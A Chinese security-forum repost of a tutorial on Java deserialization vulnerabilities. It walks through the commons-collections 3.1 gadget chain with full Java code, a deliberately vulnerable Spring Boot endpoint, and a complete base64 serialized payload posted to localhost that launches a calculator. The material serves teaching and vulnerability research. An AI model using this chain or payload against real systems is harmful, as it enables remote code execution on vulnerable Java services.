设为首页收藏本站
开启辅助访问 切换到窄版

安全矩阵

 找回密码
 立即注册
搜索
安全矩阵»安全矩阵 › 安全矩阵实验室 › 技术转载 › Java 反序列化漏洞（一）Serializable
返回列表 发新帖
查看: 3012|回复: 0

Java 反序列化漏洞（一）Serializable

[复制链接]
Grav1ty

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2021-10-17 17:54:13 | 显示全部楼层 |阅读模式
原文链接：Java 反序列化漏洞（一）Serializable
序列化的定义
序列化是指将数据结构或对象状态转换成可取用格式，以留待后续在相同或另一台计算机环境中，能恢复原先状态的过程。依照序列化格式重新获取字节的结果时，可以利用它来产生与原始对象相同语义的副本。
Java 中的序列化
Java 自身提供了序列化的功能，需要实现 java.io.Serializable 接口，标明该对象是可序列化的。java.io.Serializable 是一个空接口，不需要对象实现方法。
以下面这段代码为例，展示了一个对象的序列化和反序列化的过程。
  1. import java.io.*;
  2. import java.nio.charset.StandardCharsets;
  3. import java.util.Base64;

  5. public class Eval0 {

  7. public static class Command implements Serializable {
  8. private String cmd;

  10. public String getCmd() {
  11. return cmd;
  12. }
  13. public void setCmd(String cmd) {
  14. this.cmd = cmd;
  15. }
  16. }

  18. public static void main(String[] args) throws Exception {
  19. // 定义一个对象
  20. Command command = new Command();
  21. command.setCmd("calc");
  22. System.out.println("序列化前: " + command.getCmd());

  24. // 将用户序列化为字节数组
  25. ByteArrayOutputStream buffer = new ByteArrayOutputStream();
  26. try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) {
  27. outputStream.writeObject(command);
  28. }
  29. // 将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  30. final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
  31. System.out.println("序列化后: " + data);

  33. // 将base64编码的数据再解码为字节数组
  34. final byte[] bytes = Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8));

  36. // 将字节数组反序列化为对象
  37. ByteArrayInputStream b = new ByteArrayInputStream(bytes);
  38. try (ObjectInputStream input = new ObjectInputStream(b)) {
  39. final Command obj = (Command) input.readObject();
  40. System.out.println("反序列化: " + obj.getCmd());
  41.   }
  42. }
  43. }
复制代码
运行后输出：
  1. 序列化前: calc
  2. 序列化后: rO0ABXNyADdjbi50eXBlc2FmZS5qYXZhc2VyaWFsaXphdGlvbi5zZXJpYWxpemFibGUuRXZhbCRDb21tYW5k+hzZNZkL7qACAAFMAANjbWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABGNhbGM=
  3. 反序列化: calc
复制代码
通过代码可以看出来我们并没有指定如何进行序列化和反序列化，都是Java帮助我们实现的，那能不能让我们自己来指定方式呢？答案是肯定的，通过搜索可以得出在对象中增加 writeObject readObject 两个私有方法就可以了，但是为什么可以却没有人说的清楚。
反序列化漏洞的成因
特立独行的程序员是不允许自己使用和其他人一样的序列化和反序列化方式的，但 java.io.Serializable 是一个空接口，没有需要实现的方法，要怎么自定义自己的序列化和反序列化方式呢？他决定通过查看源码来一探究竟，于是他打开IDE，找到 final User obj = (User) input.readObject(); 这行代码，点击跳转源码，发现实际上是调用了 Object obj = readObject0(false);，进入 readObject0 的实现中发现原来当目标是对象的时候会调用 readOrdinaryObject，他接着看了下去，发现只实现 java.io.Serializable 的对象会调用 readSerialData(obj, desc); 这行代码，而 readSerialData 方法中又会调用 slotDesc.invokeReadObject(obj, this);，最终是是调用了 readObjectMethod.invoke(obj, new Object[]{ in }); ，但readObjectMethod又是从哪里来的呢？他查看了一下引用，原来是 ObjectStreamClass 的构建函数里面初始化的
  1. private ObjectStreamClass(final Class<?> cl) {
  2.     ...
  3.     cons = getSerializableConstructor(cl);
  4.     writeObjectMethod = getPrivateMethod(cl, "writeObject",
  5.         new Class<?>[] { ObjectOutputStream.class },
  6.         Void.TYPE);
  7.     readObjectMethod = getPrivateMethod(cl, "readObject",
  8.         new Class<?>[] { ObjectInputStream.class },
  9.         Void.TYPE);
  10.     readObjectNoDataMethod = getPrivateMethod(
  11.         cl, "readObjectNoData", null, Void.TYPE);
  12.     hasWriteObjectData = (writeObjectMethod != null);
  13.     ...
  14. }
复制代码
他恍然大悟，原来只需要在对象中增加一个名为 readObject参数是 java.io.ObjectInputStream 的私有方法就行了，于是他把代码修改为了这个样子
  1. import java.io.*;
  2. import java.nio.charset.StandardCharsets;
  3. import java.util.Base64;

  5. public class Eval1 {

  7.     public static class Command implements Serializable {
  8.         private String cmd;

  10.         public String getCmd() {
  11.             return cmd;
  12.         }
  13.         public void setCmd(String cmd) {
  14.             this.cmd = cmd;
  15.         }

  17.         private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
  18.             //执行默认的readObject()方法
  19.             in.defaultReadObject();
  20.             //执行命令
  21.             Runtime.getRuntime().exec(this.getCmd());
  22.         }
  23.     }

  25.     public static void main(String[] args) throws IOException, ClassNotFoundException {
  26.         // 定义一个对象
  27.         Command command = new Command();
  28. <font color="#ff0000">        command.setCmd("calc");//注：此处注入代码 </font>
  29.         System.out.println("序列化前: " + command.getCmd());

  31.         // 将用户序列化为字节数组
  32.         ByteArrayOutputStream buffer = new ByteArrayOutputStream();
  33.         try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) {
  34.             outputStream.writeObject(command);
  35.         }
  36.         // 将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  37.         final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
  38.         System.out.println("序列化后: " + data);

  40.         // 将base64编码的数据再解码为字节数组
  41.         final byte[] bytes = Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8));

  43.         // 将字节数组反序列化为对象
  44.         ByteArrayInputStream b = new ByteArrayInputStream(bytes);
  45.         try (ObjectInputStream input = new ObjectInputStream(b)) {
  46.             final Command obj = (Command) input.readObject();
  47.             System.out.println("反序列化: " + obj.getCmd());
  48.   }
  49. }
  50. }
复制代码
运行后输出：
  1. 序列化前: calc
  2. 序列化后: rO0ABXNyADdjbi50eXBlc2FmZS5qYXZhc2VyaWFsaXphdGlvbi5zZXJpYWxpemFibGUuRXZhbCRDb21tYW5k+hzZNZkL7qACAAFMAANjbWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABGNhbGM=
  3. 反序列化: calc
复制代码
同时还弹出来了计算器。（如代码中红色部分）
Java 反序列化漏洞的产生原因就是在执行反序列化方法的时候执行了非法的命令，但真的会有程序员这样写代码吗？非要在反序列化方法里面加上执行命令的代码。
真实环境里面的反序列化漏洞是什么样子的？
以 commons-collections 3.1 版本为例，InvokerTransformer 本来是用来帮助开发人员进行类型转换的，但由于其功能过于灵活，被安全人员发现可以用来执行任意代码。
瞒天过海
首先我们来看一段简单的代码，用 InvokerTransformer 来实现 Runtime.getRuntime().exec("calc")。
  1. import org.apache.commons.collections.functors.ConstantTransformer;
  2. import org.apache.commons.collections.functors.InvokerTransformer;

  4. public class Exp0 {

  6.     public static void main(String[] args) {

  8.         // 使用 ConstantTransformer 将 Runtime.class 包装一层，等同于  Class<Runtime> runtimeClass = Runtime.class;
  9.         Object runtimeClass = new ConstantTransformer(Runtime.class).transform(null);

  11.         // 使用 InvokerTransformer 调用 runtimeClass 的 getMethod 方法,等同于  Method getRuntime = runtimeClass.getMethod("getRuntime", null);
  12.         Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(runtimeClass);

  14.         // 使用 InvokerTransformer 调用getRuntimeMethod 的 invoke 方法,等同于 Object runtime = getRuntime.invoke(null, null);
  15.         Object runtime = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]).transform(getRuntimeMethod);

  17.         // 使用 InvokerTransformer 调用 runtime 的 exec 方法，等同于 runtime.exec("calc")
  18.         Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
  19. }
  20. }
复制代码
InvokerTransformer 构造方法有三个参数，分别为 方法名称、方法类型数组、方法参数数组，方法名称不用多说，其中第二个方法类型数和第三个方法参数数组 的长度必须要相等。
InvokerTransformer 的 transform 方法就是将输入的对象按照构造方法传入的参数转换为另一个对象，没有任何限制，因此即使程序内部没有 Runtime.getRuntime().exec("calc") 这行代码，也通过InvokerTransformer来可实现调用。
李代桃僵
尽管程序内部没有 Runtime.getRuntime().exec("calc") 这行代码，但是开发人员肯定也不会把上面那一大块代码写到程序里面，因此我们还需要另想办法。首先我们先把代码简化一下，修改为链式调用。
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;

  6. public class Exp1 {

  8.     public static void main(String[] args) {
  9.         Transformer[] transformers = new Transformer[]{
  10.                 new ConstantTransformer(Runtime.class),
  11.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  12.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
  13.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  14.         };

  16.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  17.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);
  18.         // 调用转换
  19.         transformerChain.transform(null);
  20. }
  21. }
复制代码
这样我们只需要调用一次 transform 就行了，但是想让目标系统执行我们的代码还是不可能的，因此还需要再寻求其他方式。
暗渡陈仓
有安全人员发现，commons-collections 自己实现了 Map.Entry，并且在 setValue 的时候会先调用 TransformedMap 的 checkSetValue 方法，而这个方法又调用了我们传入的 valueTransformer 的 transform 方法，这样一套流程下来，当我们对经过 TransformedMap 转换出来的 Map 做 put 操作的时候，都会触发执行一次我们构造的任意指令。
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;

  7. import java.util.HashMap;
  8. import java.util.Map;

  10. public class Exp2 {

  12.     public static void main(String[] args) {
  13.         Transformer[] transformers = new Transformer[]{
  14.                 new ConstantTransformer(Runtime.class),
  15.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  16.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
  17.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  18.         };

  20.         // 把 Transformer 使用链的方式调用，从上到下，不用再每次执行
  21.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);

  23.         // 利用 TransformedMap 的漏洞来执行 transform 方法
  24.         Map<String, String> innerMap = new HashMap<>();
  25.         innerMap.put("name", "守法市民小杜");
  26.         // TransformedMap 继承自 AbstractInputCheckedMapDecorator，Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntry
  27.         Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  28.         // AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value)，而 checkSetValue 会调用 valueTransformer 的 transform 方法
  29.         outerMap.put("name", "法外狂徒张三");
  30. }
  31. }
复制代码
笑里藏刀
现在只差最后一步，需要找到一个类，用它创建一个对象并完成序列化，同时它还必须满足以下三个条件：
  • 实现了 Serializable 接口。
  • 增加了 readObject 方法。
  • 成员变量中有 Map 并且在 readObject 时对这个 Map 进行了 put 操作或操作了 Map.Entry 的 setValue 方法。
安全人员在审查 openjdk 源码时发现了 sun.reflect.annotation.AnnotationInvocationHandler这个类 符合这个条件，只需用这个类创建一个对象，再将其序列化之后的内容发送到其他系统，即可完成漏洞利用。
但只局限于以下这几个版本
其 readObject 方法如下
  1. private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         s.defaultReadObject();


  6.         // Check to make sure that types have not evolved incompatibly
  7.         AnnotationType annotationType = null;
  8.         try {
  9.             annotationType = AnnotationType.getInstance(type);
  10.         } catch(IllegalArgumentException e) {
  11.             // Class is no longer an annotation type; time to punch out
  12.             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  13.         }

  15.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();

  17.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();

  19.         // If there are annotation members without values, that
  20.         // situation is handled by the invoke method.
  21.         for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  22.             // debug 发现这个 name 是一个固定值 "value"
  23.             String name = memberValue.getKey();
  24.             Class<?> memberType = memberTypes.get(name);
  25.             if (memberType != null) {  // i.e. member still exists
  26.                 Object value = memberValue.getValue();
  27.                 if (!(memberType.isInstance(value) ||
  28.                       value instanceof ExceptionProxy)) {
  29.                       // 下面这行代码会触发
  30.                     memberValue.setValue(
  31.                         new AnnotationTypeMismatchExceptionProxy(
  32.                             value.getClass() + "[" + value + "]").setMember(
  33.                                 annotationType.members().get(name)));
  34.    }
  35.   }
  36. }
  37.     }
复制代码
安全人员在 debug 时发现  Map 中的 key  为固定值 "value" ，因此我们需要将 Map 中的 key 修改为字符串 "value"，下面我们生成一个 payload。
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;

  7. import java.io.ByteArrayOutputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.util.Base64;
  12. import java.util.HashMap;
  13. import java.util.Map;

  15. public class Exp3 {

  17.     public static void main(String[] args) throws Exception {
  18.         Transformer[] transformers = new Transformer[]{
  19.                 new ConstantTransformer(Runtime.class),
  20.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  21.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[2]),
  22.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  23.         };
  24.         Transformer transformerChain = ChainedTransformer.getInstance(transformers);

  26.         // 利用 TransformedMap 的漏洞来执行 transform 方法
  27.         Map<String, String> innerMap = new HashMap<>();
  28.         innerMap.put("value", "守法市民小杜");
  29.         // TransformedMap 继承自 AbstractInputCheckedMapDecorator，Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntry
  30.         Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  31.         // AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value)，而 checkSetValue 会调用 valueTransformer 的 transform 方法
  32. //        outerMap.put("value", "法外狂徒张三");

  34.         // AnnotationInvocationHandler 不是 public 类型的类，且没有公开的构造器方法，只能通过反射创建
  35.         Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  36.         // 获取构造方法
  37.         Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  38.         // 因为其构造方法不是 public
  39.         constructor.setAccessible(true);
  40.         // 实例化对象
  41.         Object target = constructor.newInstance(Target.class, outerMap);
  42.         
  43.         // 将对象序列化为字节数组
  44.         ByteArrayOutputStream buffer = new ByteArrayOutputStream();
  45.         try (ObjectOutputStream outputStream = new ObjectOutputStream(buffer)) {
  46.             outputStream.writeObject(target);
  47.         }
  48.         // 将字节数组进行base64编码，无论是通过网络或者是文件都可以发送到另一个系统进行反序列化
  49.         final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());
  50.         System.out.println("payload: " + data);
  51. }
  52. }
复制代码
使用 maven 新建一个 springboot 项目来模拟目标环境，添加 commons-collections 3.1 的依赖，并增加一个接口如下：
  1. import org.springframework.boot.SpringApplication;
  2. import org.springframework.boot.autoconfigure.SpringBootApplication;
  3. import org.springframework.web.bind.annotation.PostMapping;
  4. import org.springframework.web.bind.annotation.RestController;

  6. import javax.servlet.ServletInputStream;
  7. import javax.servlet.http.HttpServletRequest;
  8. import java.io.*;
  9. import java.nio.charset.StandardCharsets;
  10. import java.util.Base64;

  12. @RestController
  13. @SpringBootApplication
  14. public class Application {

  16.     public static void main(String[] args) {
  17.         SpringApplication.run(Application.class, args);
  18.     }

  20.     /**
  21.      * apache commons-collections 3.1 版本的反序列化漏洞
  22.      *
  23.      * @param request request
  24.      * @return 是否成功
  25.      * @throws Exception 异常
  26.      */
  27.     @PostMapping("/commons-collections-3.1")
  28.     public String commonsCollections3_1(HttpServletRequest request) throws Exception {
  29.         ServletInputStream inputStream = request.getInputStream();
  30.         final StringBuilder sb = new StringBuilder();
  31.         try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
  32.             char[] charBuffer = new char[1024];
  33.             int bytesRead;
  34.             while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
  35.                 sb.append(charBuffer, 0, bytesRead);
  36.             }
  37.         }
  38.         // 读取 request body 中的字符串
  39.         final String requestBody = sb.toString();
  40.         // 使用 base64 解码
  41.         final byte[] bytes = Base64.getDecoder().decode(requestBody.getBytes(StandardCharsets.UTF_8));

  43.         // 将字节数组反序列化为对象
  44.         ByteArrayInputStream b = new ByteArrayInputStream(bytes);
  45.         try (ObjectInputStream input = new ObjectInputStream(b)) {
  46.             Object obj = input.readObject();
  47.             System.out.println(obj);
  48.         }
  49.         return "success";
  50. }
  51. }
复制代码
启动 springboot 服务。
最后增加一个发送 http 请求的测试，此步骤可以换postman 或者 burp，我这里是使用了 IDEA 自带的 http 请求工具进行测试
  1. ### 发送POST 请求
  2. POST http://localhost:8080/commons-collections-3.1

  4. rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABpzcQB+ABF1cQB+ABYAAAACcHB0AAZpbnZva2V1cQB+ABoAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXEAfgAWAAAAAXQABGNhbGN0AARleGVjdXEAfgAaAAAAAXEAfgAdc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXQAEuWuiOazleW4guawkeWwj+adnHh4dnIAG2phdmEubGFuZy5hbm5vdGF0aW9uLlRhcmdldAAAAAAAAAAAAAAAeHA=
复制代码
请求发送成功，便可以看到电脑打开了计算器。
其他
在最新的 openjdk 8u 中则修复了这个问题，代码如下：
  1. private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         ... 省略

  5.         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  6.         // consistent with runtime Map type
  7.         Map<String, Object> mv = new LinkedHashMap<>();

  9.         // If there are annotation members without values, that
  10.         // situation is handled by the invoke method.
  11.         for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
  12.             String name = memberValue.getKey();
  13.             Object value = null;
  14.             Class<?> memberType = memberTypes.get(name);
  15.             if (memberType != null) {  // i.e. member still exists
  16.                 value = memberValue.getValue();
  17.                 if (!(memberType.isInstance(value) ||
  18.                       value instanceof ExceptionProxy)) {
  19.                     value = new AnnotationTypeMismatchExceptionProxy(
  20.                             value.getClass() + "[" + value + "]").setMember(
  21.                                 annotationType.members().get(name));
  22.                 }
  23.             }
  24.             mv.put(name, value);
  25.         }

  27.         UnsafeAccessor.setType(this, t);
  28.         UnsafeAccessor.setMemberValues(this, mv);
  29.     }
复制代码
已经不再能够触发 transform 。





回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 22:23 , Processed in 0.013763 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表